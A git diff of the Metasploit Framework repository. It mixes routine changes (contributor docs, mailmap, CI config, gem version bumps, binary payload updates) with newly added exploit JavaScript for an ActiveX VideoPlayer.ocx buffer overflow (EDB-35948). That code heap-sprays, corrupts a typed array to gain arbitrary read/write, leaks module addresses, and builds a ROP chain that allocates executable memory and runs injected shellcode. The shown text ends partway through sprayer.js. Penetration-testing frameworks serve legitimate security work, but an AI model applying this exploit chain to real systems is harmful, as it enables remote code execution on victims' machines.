diff --git a/.gitignore b/.gitignore index 015a4fd9f7..1619d775e4 100644 --- a/.gitignore +++ b/.gitignore @@ -67,17 +67,7 @@ external/source/exploits/**/Release # Avoid checking in Meterpreter binaries. These are supplied upstream by # the meterpreter_bins gem. -data/meterpreter/elevator.*.dll -data/meterpreter/ext_server_espia.*.dll -data/meterpreter/ext_server_extapi.*.dll -data/meterpreter/ext_server_incognito.*.dll -data/meterpreter/ext_server_kiwi.*.dll -data/meterpreter/ext_server_lanattacks.*.dll -data/meterpreter/ext_server_mimikatz.*.dll -data/meterpreter/ext_server_priv.*.dll -data/meterpreter/ext_server_stdapi.*.dll -data/meterpreter/metsrv.*.dll -data/meterpreter/screenshot.*.dll +data/meterpreter/*.dll # Avoid checking in Meterpreter libs that are built from # private source. If you're interested in this functionality, diff --git a/.mailmap b/.mailmap index 9c68bd3c28..f07ad3e782 100644 --- a/.mailmap +++ b/.mailmap @@ -13,11 +13,6 @@ jhart-r7 Jon Hart jlee-r7 egypt # aka egypt jlee-r7 James Lee # aka egypt jlee-r7 James Lee -joev-r7 Joe Vennix -joev-r7 Joe Vennix -joev-r7 joev -joev-r7 jvennix-r7 -joev-r7 jvennix-r7 jvazquez-r7 jvazquez-r7 jvazquez-r7 jvazquez-r7 kgray-r7 Kyle Gray @@ -80,9 +75,15 @@ jcran Jonathan Cran jcran Jonathan Cran jduck Joshua Drake jgor jgor +joevennix joe +joevennix Joe Vennix +joevennix Joe Vennix +joevennix joev +joevennix jvennix-r7 +joevennix jvennix-r7 kernelsmith Joshua Smith -kernelsmith kernelsmith kernelsmith Joshua Smith +kernelsmith kernelsmith kost Vlatko Kosturjak kris kris <> m-1-k-3 m-1-k-3 diff --git a/.travis.yml b/.travis.yml index 078b0b080f..4a9ffd5e2a 100644 --- a/.travis.yml +++ b/.travis.yml @@ -11,11 +11,10 @@ matrix: before_install: - "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc" - rake --version - # Uncomment when we have fewer shipping msftidy warnings. - # Merge committers will still be checking, just not autofailing. - # - ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge - # - ls -la ./.git/hooks - # - ./.git/hooks/post-merge + # Fail build if msftidy is not successful + - ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge + - ls -la ./.git/hooks + - ./.git/hooks/post-merge before_script: - cp config/database.yml.travis config/database.yml - bundle exec rake --version @@ -26,7 +25,6 @@ script: - git diff --exit-code && bundle exec rake $RAKE_TASKS sudo: false rvm: - - '1.9.3' - '2.1' notifications: diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 423fa6c5cc..b3d216bd4d 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -3,86 +3,111 @@ Thanks for your interest in making Metasploit -- and therefore, the world -- a better place! -Are you about to report a bug? Sorry to hear it. - -Here's our [Issue tracker](https://github.com/rapid7/metasploit-framework/issues). -Please try to be as specific as you can about your problem, include steps -to reproduce (cut and paste from your console output if it's helpful), and +Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker]. +Please try to be as specific as you can about your problem; include steps +to reproduce (cut and paste from your console output if it's helpful) and what you were expecting to happen. Are you about to report a security vulnerability in Metasploit itself? How ironic! Please take a look at Rapid7's [Vulnerability Disclosure Policy](https://www.rapid7.com/disclosure.jsp), and send -your report to security@rapid7.com using [our PGP key](http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D). +your report to security@rapid7.com using our [PGP key]. Are you about to contribute some new functionality, a bug fix, or a new Metasploit module? If so, read on... # Contributing to Metasploit -What you see here in CONTRIBUTING.md is a bullet-point list of the do's +What you see here in CONTRIBUTING.md is a bullet point list of the do's and don'ts of how to make sure *your* valuable contributions actually make it into Metasploit's master branch. If you care not to follow these rules, your contribution **will** be -closed (*Road House* style). Sorry! +closed. Sorry! -This is intended to be a **short** list. The -[wiki](https://github.com/rapid7/metasploit-framework/wiki) is much more +This is intended to be a **short** list. The [wiki] is much more exhaustive and reveals many mysteries. If you read nothing else, take a -look at the standard [development environment setup -guide](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment) -and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes). +look at the standard [development environment setup] guide +and Metasploit's [Common Coding Mistakes]. ## Code Contributions -* **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide). -* **Do** get [Rubocop](https://rubygems.org/search?query=rubocop) relatively quiet against the code you are adding or modifying. -* **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages. -* **Don't** use the default merge messages when merging from other - branches. -* **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`. +* **Do** stick to the [Ruby style guide]. +* **Do** get [Rubocop] relatively quiet against the code you are adding or modifying. +* **Do** follow the [50/72 rule] for Git commit messages. +* **Don't** use the default merge messages when merging from other branches. +* **Do** create a [topic branch] to work on instead of working directly on `master`. ### Pull Requests * **Do** target your pull request to the **master branch**. Not staging, not develop, not release. * **Do** specify a descriptive title to make searching for your pull request easier. -* **Do** include [console output](https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks), especially for witnessable effects in `msfconsole`. -* **Do** list [verification steps](https://help.github.com/articles/writing-on-github#task-lists) so your code is testable. +* **Do** include [console output], especially for witnessable effects in `msfconsole`. +* **Do** list [verification steps] so your code is testable. * **Don't** leave your pull request description blank. * **Don't** abandon your pull request. Being responsive helps us land your code faster. -Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940) and [#3043](https://github.com/rapid7/metasploit-framework/pull/3043) are a couple good examples to follow. +Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow. #### New Modules -* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb). -* **Do** use the [many module mixin APIs](https://rapid7.github.io/metasploit-framework/api/). Wheel improvements are welcome; wheel reinventions, not so much. +* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. + - It would be even better to set up `msftidy.rb` as a [pre-commit hook]. +* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much. * **Don't** include more than one module per pull request. +#### Scripts + +* **Don't** submit new [scripts]. Scripts are shipped as examples for + automating local tasks, and anything "serious" can be done with post + modules and local exploits. + #### Library Code -* **Do** write [RSpec](http://rspec.info/) tests - even the smallest change in library land can thoroughly screw things up. -* **Do** follow [Better Specs](http://betterspecs.org/) - it's like the style guide for specs. -* **Do** write [YARD](http://yardoc.org/) documentation - this makes it easier for people to use your code. +* **Do** write [RSpec] tests - even the smallest change in library land can thoroughly screw things up. +* **Do** follow [Better Specs] - it's like the style guide for specs. +* **Do** write [YARD] documentation - this makes it easier for people to use your code. * **Don't** fix a lot of things in one pull request. Small fixes are easier to validate. #### Bug Fixes * **Do** include reproduction steps in the form of verification steps. -* **Do** include a link to any corresponding [Issue](https://github.com/rapid7/metasploit-framework/issues) in the format of `See #1234` in your commit description. +* **Do** include a link to any corresponding [Issues] in the format of + `See #1234` in your commit description. ## Bug Reports * **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com. * **Do** write a detailed description of your bug and use a descriptive title. * **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug. -* **Don't** file duplicate reports - search for your bug before filing a new report. +* **Don't** file duplicate reports; search for your bug before filing a new report. If you need some more guidance, talk to the main body of open -source contributors over on the [Freenode IRC channel](http://webchat.freenode.net/?channels=%23metasploit&uio=d4) -or e-mail us at [metasploit-hackers](https://lists.sourceforge.net/lists/listinfo/metasploit-hackers) -mailing list. +source contributors over on the [Freenode IRC channel], +or e-mail us at the [metasploit-hackers] mailing list. Also, **thank you** for taking the few moments to read this far! You're already way ahead of the curve, so keep it up! + +[Issue Tracker]:http://r-7.co/MSF-BUGv1 +[PGP key]:http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D +[wiki]:https://github.com/rapid7/metasploit-framework/wiki +[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts +[development environment setup]:http://r-7.co/MSF-DEV +[Common Coding Mistakes]:https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes +[Ruby style guide]:https://github.com/bbatsov/ruby-style-guide +[Rubocop]:https://rubygems.org/search?query=rubocop +[50.72 rule]:http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html +[topic branch]:http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches +[console output]:https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks +[verification steps]:https://help.github.com/articles/writing-on-github#task-lists +[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940 +[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043 +[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb +[API]:https://rapid7.github.io/metasploit-framework/api +[RSpec]:http://rspec.info +[Better Specs]:http://betterspecs.org +[YARD]:http://yardoc.org +[Issues]:https://github.com/rapid7/metasploit-framework/issues +[Freenode IRC channel]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4 +[metasploit-hackers]:https://lists.sourceforge.net/lists/listinfo/metasploit-hackers diff --git a/Gemfile.lock b/Gemfile.lock index 200b2961ab..1da009e230 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -8,13 +8,13 @@ PATH jsobfu (~> 0.2.0) json metasploit-concern (~> 0.3.0) - metasploit-model (~> 0.28.0) - meterpreter_bins (= 0.0.12) + metasploit-model (~> 0.29.0) + meterpreter_bins (= 0.0.17) msgpack nokogiri packetfu (= 1.1.9) railties - rb-readline + rb-readline-r7 recog (~> 1.0) robots rubyzip (~> 1.1) @@ -22,9 +22,9 @@ PATH tzinfo metasploit-framework-db (4.11.0.pre.dev) activerecord (>= 3.2.21, < 4.0.0) - metasploit-credential (~> 0.13.8) + metasploit-credential (~> 0.14.3) metasploit-framework (= 4.11.0.pre.dev) - metasploit_data_models (~> 0.21.3) + metasploit_data_models (~> 0.23.2) pg (>= 0.11) metasploit-framework-pcap (4.11.0.pre.dev) metasploit-framework (= 4.11.0.pre.dev) @@ -62,13 +62,13 @@ GEM i18n (~> 0.6, >= 0.6.4) multi_json (~> 1.0) arel (3.0.3) - arel-helpers (2.0.2) + arel-helpers (2.1.0) activerecord (>= 3.1.0, < 5) aruba (0.6.1) childprocess (>= 0.3.6) cucumber (>= 1.1.1) rspec-expectations (>= 2.7.0) - bcrypt (3.1.9) + bcrypt (3.1.10) builder (3.0.4) capybara (2.4.1) mime-types (>= 1.16) @@ -101,49 +101,49 @@ GEM gherkin (2.11.6) json (>= 1.7.6) hike (1.2.3) - i18n (0.6.11) + i18n (0.7.0) journey (1.0.4) jsobfu (0.2.1) rkelly-remix (= 0.0.6) - json (1.8.1) + json (1.8.2) mail (2.5.4) mime-types (~> 1.16) treetop (~> 1.4.8) metasploit-concern (0.3.0) activesupport (~> 3.0, >= 3.0.0) railties (< 4.0.0) - metasploit-credential (0.13.8) + metasploit-credential (0.14.3) metasploit-concern (~> 0.3.0) - metasploit-model (~> 0.28.0) - metasploit_data_models (~> 0.21.0) + metasploit-model (~> 0.29.0) + metasploit_data_models (~> 0.23.0) pg railties (< 4.0.0) rubyntlm rubyzip (~> 1.1) - metasploit-model (0.28.0) + metasploit-model (0.29.0) activesupport railties (< 4.0.0) - metasploit_data_models (0.21.3) + metasploit_data_models (0.23.2) activerecord (>= 3.2.13, < 4.0.0) activesupport arel-helpers metasploit-concern (~> 0.3.0) - metasploit-model (~> 0.28.0) + metasploit-model (~> 0.29.0) pg railties (< 4.0.0) recog (~> 1.0) - meterpreter_bins (0.0.12) + meterpreter_bins (0.0.17) method_source (0.8.2) mime-types (1.25.1) - mini_portile (0.6.1) - msgpack (0.5.9) + mini_portile (0.6.2) + msgpack (0.5.11) multi_json (1.0.4) network_interface (0.0.1) - nokogiri (1.6.5) + nokogiri (1.6.6.2) mini_portile (~> 0.6.0) packetfu (1.1.9) pcaprub (0.11.3) - pg (0.17.1) + pg (0.18.1) polyglot (0.3.5) pry (0.10.0) coderay (~> 1.1.0) @@ -154,7 +154,7 @@ GEM rack (>= 0.4) rack-ssl (1.3.4) rack - rack-test (0.6.2) + rack-test (0.6.3) rack (>= 1.0) rails (3.2.21) actionmailer (= 3.2.21) @@ -172,10 +172,10 @@ GEM rdoc (~> 3.4) thor (>= 0.14.6, < 2.0) rake (10.4.2) - rb-readline (0.5.1) + rb-readline-r7 (0.5.2.0) rdoc (3.12.2) json (~> 1.4) - recog (1.0.6) + recog (1.0.24) nokogiri redcarpet (3.1.2) rkelly-remix (0.0.6) @@ -199,8 +199,8 @@ GEM rspec-core (~> 2.99.0) rspec-expectations (~> 2.99.0) rspec-mocks (~> 2.99.0) - rubyntlm (0.4.0) - rubyzip (1.1.6) + rubyntlm (0.5.0) + rubyzip (1.1.7) shoulda-matchers (2.6.2) simplecov (0.5.4) multi_json (~> 1.0.3) @@ -219,7 +219,7 @@ GEM treetop (1.4.15) polyglot polyglot (>= 0.3.1) - tzinfo (0.3.42) + tzinfo (0.3.43) xpath (2.0.0) nokogiri (~> 1.3) yard (0.8.7.4) diff --git a/LICENSE b/LICENSE index 4e8724eaf5..f246415b21 100644 --- a/LICENSE +++ b/LICENSE @@ -32,10 +32,6 @@ Copyright: 2003-2010 Mark Borgerding 2009-2012 H D Moore License: BSD-3-clause -Files: external/ruby-lorcon/* -Copyright: 2005, dragorn and Joshua Wright -License: LGPL-2.1 - Files: external/source/exploits/IE11SandboxEscapes/* Copyright: James Forshaw, 2014 License: GPLv3 diff --git a/README.md b/README.md index 13567bd69a..9d0ef82820 100644 --- a/README.md +++ b/README.md @@ -1,13 +1,16 @@ -Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework) +Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework) == The Metasploit Framework is released under a BSD-style license. See COPYING for more details. -The latest version of this software is available from https://metasploit.com/ +The latest version of this software is available from: https://metasploit.com Bug tracking and development information can be found at: https://github.com/rapid7/metasploit-framework +New bugs and feature requests should be directed to: + http://r-7.co/MSF-BUGv1 + API documentation for writing modules can be found at: https://rapid7.github.io/metasploit-framework/api @@ -17,8 +20,8 @@ Questions and suggestions can be sent to: Installing -- -Generally, you should use [the free installer](https://www.metasploit.com/download) -which contains all dependencies and will get you up and running with a +Generally, you should use [the free installer](https://www.metasploit.com/download), +which contains all of the dependencies and will get you up and running with a few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if you'd like to deal with dependencies on your own. @@ -31,10 +34,10 @@ resources](https://metasploit.github.io), or the [wiki]. Contributing -- -See the [Dev Environment Setup][wiki-devenv] guide on GitHub which will -walk you through the whole process starting from installing all the +See the [Dev Environment Setup][wiki-devenv] guide on GitHub, which will +walk you through the whole process from installing all the dependencies, to cloning the repository, and finally to submitting a -pull request. For slightly more info, see +pull request. For slightly more information, see [Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md). diff --git a/config/application.rb b/config/application.rb index f4eaab5417..47b5195903 100644 --- a/config/application.rb +++ b/config/application.rb @@ -34,6 +34,7 @@ module Metasploit class Application < Rails::Application include Metasploit::Framework::CommonEngine + config.paths['log'] = "#{Msf::Config.log_directory}/#{Rails.env}.log" config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)] end end diff --git a/data/android/apk/classes.dex b/data/android/apk/classes.dex index ff39e87f11..598f2bd3db 100644 Binary files a/data/android/apk/classes.dex and b/data/android/apk/classes.dex differ diff --git a/data/android/apk/resources.arsc b/data/android/apk/resources.arsc index 0ef9aa31f6..03f6c44d28 100644 Binary files a/data/android/apk/resources.arsc and b/data/android/apk/resources.arsc differ diff --git a/data/android/libs/armeabi/libndkstager.so b/data/android/libs/armeabi/libndkstager.so index d5b8051f7e..f56cfbe78d 100644 Binary files a/data/android/libs/armeabi/libndkstager.so and b/data/android/libs/armeabi/libndkstager.so differ diff --git a/data/android/libs/mips/libndkstager.so b/data/android/libs/mips/libndkstager.so index 973ffe39a7..e9635c6bf3 100644 Binary files a/data/android/libs/mips/libndkstager.so and b/data/android/libs/mips/libndkstager.so differ diff --git a/data/android/libs/x86/libndkstager.so b/data/android/libs/x86/libndkstager.so index 2ebc0a6bcc..358834f300 100644 Binary files a/data/android/libs/x86/libndkstager.so and b/data/android/libs/x86/libndkstager.so differ diff --git a/data/android/meterpreter.jar b/data/android/meterpreter.jar index 2750ad1f42..b1efa83820 100644 Binary files a/data/android/meterpreter.jar and b/data/android/meterpreter.jar differ diff --git a/data/android/metstage.jar b/data/android/metstage.jar index bbb5fa120e..447bf2a576 100644 Binary files a/data/android/metstage.jar and b/data/android/metstage.jar differ diff --git a/data/android/shell.jar b/data/android/shell.jar index 5eed565220..df61c7beeb 100644 Binary files a/data/android/shell.jar and b/data/android/shell.jar differ diff --git a/data/exploits/CVE-2014-0980.pui b/data/exploits/CVE-2014-0980.pui new file mode 100644 index 0000000000..e5adbbb801 Binary files /dev/null and b/data/exploits/CVE-2014-0980.pui differ diff --git a/data/exploits/CVE-2014-3153.elf b/data/exploits/CVE-2014-3153.elf new file mode 100755 index 0000000000..2547c04abb Binary files /dev/null and b/data/exploits/CVE-2014-3153.elf differ diff --git a/data/exploits/CVE-2015-0016/cve-2015-0016.dll b/data/exploits/CVE-2015-0016/cve-2015-0016.dll new file mode 100755 index 0000000000..aa66055e6d Binary files /dev/null and b/data/exploits/CVE-2015-0016/cve-2015-0016.dll differ diff --git a/data/exploits/CVE-2015-0311/msf.swf b/data/exploits/CVE-2015-0311/msf.swf new file mode 100755 index 0000000000..badd95d11b Binary files /dev/null and b/data/exploits/CVE-2015-0311/msf.swf differ diff --git a/data/exploits/CVE-2015-0313/msf.swf b/data/exploits/CVE-2015-0313/msf.swf new file mode 100755 index 0000000000..68b0ad0e6b Binary files /dev/null and b/data/exploits/CVE-2015-0313/msf.swf differ diff --git a/data/exploits/CVE-2015-0318/Main.swf b/data/exploits/CVE-2015-0318/Main.swf new file mode 100755 index 0000000000..409be834f8 Binary files /dev/null and b/data/exploits/CVE-2015-0318/Main.swf differ diff --git a/data/exploits/capture/http/forms/extractforms.rb b/data/exploits/capture/http/forms/extractforms.rb index f734949a5a..85ad49bfb4 100755 --- a/data/exploits/capture/http/forms/extractforms.rb +++ b/data/exploits/capture/http/forms/extractforms.rb @@ -11,7 +11,6 @@ require 'rubygems' # install rubygems require 'hpricot' # gem install hpricot -require 'open-uri' require 'timeout' def usage diff --git a/data/exploits/capture/http/forms/grabforms.rb b/data/exploits/capture/http/forms/grabforms.rb index 76f0c00533..fa207c3ab7 100755 --- a/data/exploits/capture/http/forms/grabforms.rb +++ b/data/exploits/capture/http/forms/grabforms.rb @@ -11,7 +11,7 @@ require 'rubygems' # install rubygems require 'hpricot' # gem install hpricot -require 'open-uri' +require 'uri' require 'timeout' def usage @@ -26,17 +26,17 @@ File.readlines(sitelist).each do |site| site.strip! next if site.length == 0 next if site =~ /^#/ - + out = File.join(output, site + ".txt") File.unlink(out) if File.exists?(out) - + fd = File.open(out, "a") - + ["", "www."].each do |prefix| begin - Timeout.timeout(10) do - doc = Hpricot(open("http://#{prefix}#{site}/")) + Timeout.timeout(10) do + doc = Hpricot(URI.parse("http://#{prefix}#{site}/").open) doc.search("//form").each do |form| # Extract the form @@ -78,9 +78,9 @@ File.readlines(sitelist).each do |site| $stderr.puts "#{prefix}#{site} #{e.class} #{e}" end end - + fd.close - + File.unlink(out) if (File.size(out) == 0) end diff --git a/data/exploits/edb-35948/js/exploit.js b/data/exploits/edb-35948/js/exploit.js new file mode 100644 index 0000000000..9e236998bf --- /dev/null +++ b/data/exploits/edb-35948/js/exploit.js @@ -0,0 +1,126 @@ +var Exploit = function () { + // create its vulnerable ActiveX object (as HTMLObjectElement) + this.obj = document.createElement("object"); + this.obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B"); + // perform controlled memwrite to 0x1111f010: typed array header is at + // 0x1111f000 to 0x1111f030 => overwrite array data header @ 11111f010 with + // 0x00000001 0x00000004 0x00000040 0x1111f030 0x00 + // The first 3 dwords are sideeffects due to the code we abuse for the + // controlled memcpy + this.whereAddress = 0x1111f010; + this.memory = null; + this.addresses = new Object(); + this.sprayer = null; + this.informer = null; + this.sc = "<%=shellcode%>"; +}; + +Exploit.prototype.run = function() { + CollectGarbage(); + this.sprayer = new Sprayer(); + this.sprayer.spray(); + + this.memory = this.doCorruption(); + + //alert(this.memory.length.toString(16)) + if (this.memory.length != 0x7fffffff){ + //alert("Cannot change Uint32Array length"); + return -1; + } + + // now we could even repair the change we did with memcpy ... + + this.informer = new Informer(this.sprayer.corruptedArrayNext, this.memory, this.whereAddress); + var leakSuccess = this.leakAddresses(); + + if (leakSuccess != 0) { + //alert("Cannot leak required address to build the ROP chain"); + return leakSuccess; + } + + var ropBuilder = new RopBuilder(this.informer, this.addresses, this.sc.length); + ropBuilder.buildRop(); + + // manipulate object data to gain EIP control with "Play" method + var videopObj = this.memory[this.addresses['objAddress'] / 4 + 26]; + this.memory[(videopObj - 0x10) / 4] = ropBuilder.ropAddress; // rop address will be used in EAX in below call + + // eip control @ VideoPlayer.ocx + 0x6643B: CALL DWORD PTR [EAX+0x30] */ + this.obj.Play() +}; + +Exploit.prototype.prepareOverflow = function() { + // prepare buffer with address we want to write to + var ptrBuf = ""; + // fill buffer: length = relative pointer address - buffer start + pointer + // offset + while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)) { ptrBuf += "A" } + ptrBuf += this.dword2str(this.whereAddress); + + return ptrBuf; +}; + +Exploit.prototype.doCorruption = function() { + var ptrBuf = this.prepareOverflow(); + + // trigger: overflow buffer and overwrite the pointer value after buffer + this.obj.SetText(ptrBuf, 0, 0); + //alert("buffer overflown => check PTR @ videop_1+92068: dc videop_1+92068") + + // use overwritten pointer after buffer with method "SetFontName" to conduct + // memory write. We overwrite a typed array's header length to 0x40 and let + // its buffer point to the next typed array header at 0x1111f030 (see above) + this.obj.SetFontName(this.dword2str(this.whereAddress + 0x20)); // WHAT TO WRITE + + + if (this.sprayer.find() == -1){ + //alert("cannot find corrupted Uint32Array"); + return -1 + } + + // modify subsequent Uint32Array to be able to RW all process memory + this.sprayer.corruptedArray[6] = 0x7fffffff; // next Uint32Array length + this.sprayer.corruptedArray[7] = 0; // set buffer of next Uint32Array to start of process mem + + // our memory READWRITE interface :) + return this.sprayer.fullMemory; +}; + +Exploit.prototype.leakAddresses = function() { + this.addresses['objAddress'] = this.informer.leakVideoPlayerAddress(this.obj); + + this.addresses['base'] = this.informer.leakVideoPlayerBase(this.obj); + + // check if we have the image of VideoPlayer.ocx + // check for MZ9000 header and "Vide" string at offset 0x6a000 + if (this.memory[this.addresses['base'] / 4] != 0x905a4d || + this.memory[(this.addresses['base'] + 0x6a000) / 4] != 0x65646956){ + //alert("Cannot find VideoPlayer.ocx base or its version is wrong"); + return -1; + } + //alert(this.addresses['base'].toString(16)) + + // get VirtualAlloc from imports of VideoPlayer.ocx + this.addresses['virtualAlloc'] = this.memory[(this.addresses['base'] + 0x69174)/4]; + // memcpy is available inside VideoPlayer.ocx + this.addresses['memcpy'] = this.addresses['base'] + 0x15070; + //alert("0x" + this.addresses['virtualAlloc'].toString(16) + " " + "0x" + this.addresses['memcpy'].toString(16)) + + scBuf = new Uint8Array(this.sc.length); + for (n=0; n < this.sc.length; n++){ + scBuf[n] = this.sc.charCodeAt(n); + } + + this.addresses['shellcode'] = this.informer.leakShellcodeAddress(scBuf); + + return 0; +}; + +// dword to little endian string +Exploit.prototype.dword2str = function(dword) { + var str = ""; + for (var n=0; n < 4; n++){ + str += String.fromCharCode((dword >> 8 * n) & 0xff); + } + return str; +}; diff --git a/data/exploits/edb-35948/js/informer.js b/data/exploits/edb-35948/js/informer.js new file mode 100644 index 0000000000..f9d0192062 --- /dev/null +++ b/data/exploits/edb-35948/js/informer.js @@ -0,0 +1,52 @@ +var Informer = function(infArray, mem, ref) { + this.infoLeakArray = infArray; + this.memoryArray = mem; + this.referenceAddress = ref; +}; + +// Calculate VideoPlayer.ocx base +Informer.prototype.leakVideoPlayerBase = function(videoPlayerObj) { + this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element + //alert(mem[0x11120020/4].toString(16)) + var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj) + var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18 + var heapPtrVideoplayer = this.memoryArray[objPtr/4 + 25]; // deref HTMLObjectElement + 0x64 + // deref heap pointer containing VideoPlayer.ocx pointer + var videoplayerPtr = this.memoryArray[heapPtrVideoplayer/4]; + var base = videoplayerPtr - 0x6b3b0; // calculate base + + return base; +}; + +// Calculate VideoPlayer object addres +Informer.prototype.leakVideoPlayerAddress = function(videoPlayerObj) { + this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element + //alert(mem[0x11120020/4].toString(16)) + var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj) + var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18 + + return objPtr; +}; + +// Calculate the shellcode address +Informer.prototype.leakShellcodeAddress = function(shellcodeBuffer) { + this.infoLeakArray[0] = shellcodeBuffer; + // therefore, leak array element at 0x11120020 (typed array header of + // Uint8Array containing shellcode) ... + var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; + // ...and deref array element + 0x1c (=> leak shellcode's buffer address) + var shellcodeAddr = this.memoryArray[(elemPtr/4) + 7] + + return shellcodeAddr; +}; + + +Informer.prototype.leakRopAddress = function(ropArray) { + this.infoLeakArray[0] = ropArray + // leak array element at 0x11120020 (typed array header) + var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; + // deref array element + 0x1c (leak rop's buffer address) + var ropAddr = this.memoryArray[(elemPtr/4) + 7] // payload address + + return ropAddr; +}; diff --git a/data/exploits/edb-35948/js/rop_builder.js b/data/exploits/edb-35948/js/rop_builder.js new file mode 100644 index 0000000000..993669540b --- /dev/null +++ b/data/exploits/edb-35948/js/rop_builder.js @@ -0,0 +1,38 @@ +var RopBuilder = function(informer, addresses, scLength) { + this.rop = new Uint32Array(0x1000); + this.ropAddress = informer.leakRopAddress(this.rop); + this.base = addresses['base']; + this.virtualAlloc = addresses['virtualAlloc']; + this.memcpy = addresses['memcpy']; + this.scAddr = addresses['shellcode']; + this.scLength = scLength; +}; + +// Build the ROP chain to bypass DEP +RopBuilder.prototype.buildRop = function() { + // ROP chain (rets in comments are omitted) + // we perform: + // (void*) EAX = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_RWX) + // memcpy(EAX, shellcode, shellcodeLen) + // (void(*)())EAX() + var offs = 0x30/4; // offset to chain after CALL [EAX+0x30] + this.rop[0] = this.base + 0x1ff6; // ADD ESP, 0x30; + this.rop[offs + 0x0] = this.base + 0x1ea1e; // XCHG EAX, ESP; <-- first gadget called + this.rop[offs + 0x1] = this.virtualAlloc; // allocate RWX mem (address avail. in EAX) + this.rop[offs + 0x2] = this.base + 0x10e9; // POP ECX; => pop the value at offs + 0x7 + this.rop[offs + 0x3] = 0; // lpAddress + this.rop[offs + 0x4] = 0x4000; // dwSize (0x4000) + this.rop[offs + 0x5] = 0x1000; // flAllocationType (MEM_COMMIT) + this.rop[offs + 0x6] = 0x40; // flProtect (PAGE_EXECUTE_READWRITE) + this.rop[offs + 0x7] = this.ropAddress + (offs+0xe)*4; // points to memcpy's dst param (*2) + this.rop[offs + 0x8] = this.base + 0x1c743; // MOV [ECX], EAX; => set dst to RWX mem + this.rop[offs + 0x9] = this.base + 0x10e9; // POP ECX; + this.rop[offs + 0xa] = this.ropAddress + (offs+0xd)*4; // points to (*1) in chain + this.rop[offs + 0xb] = this.base + 0x1c743; // MOV [ECX], EAX; => set return to RWX mem + this.rop[offs + 0xc] = this.memcpy; + this.rop[offs + 0xd] = 0xffffffff; // (*1): ret addr to RWX mem filled at runtime + this.rop[offs + 0xe] = 0xffffffff; // (*2): dst for memcpy filled at runtime + this.rop[offs + 0xf] = this.scAddr; // shellcode src addr to copy to RWX mem (param2) + this.rop[offs + 0x10] = this.scLength; // length of shellcode (param3) +}; + diff --git a/data/exploits/edb-35948/js/sprayer.js b/data/exploits/edb-35948/js/sprayer.js new file mode 100644 index 0000000000..8d6a5bbcd4 --- /dev/null +++ b/data/exploits/edb-35948/js/sprayer.js @@ -0,0 +1,58 @@ +var Sprayer = function () { + // amount of arrays to create on the heap + this.nrArrays = 0x1000; + // size of data in one array block: 0xefe0 bytes => + // subract array header (0x20) and space for typed array headers (0x1000) + // from 0x10000 + this.arrSize = (0x10000-0x20-0x1000)/4; + // heap array container will hold our heap sprayed data + this.arr = new Array(this.nrArrays); + // use one buffer for all typed arrays + this.intArrBuf = new ArrayBuffer(4); + this.corruptedArray = null; + this.corruptedArrayNext = null; +}; + +// Spray the heap with array data blocks and subsequent typed array headers +// of type Uint32Array 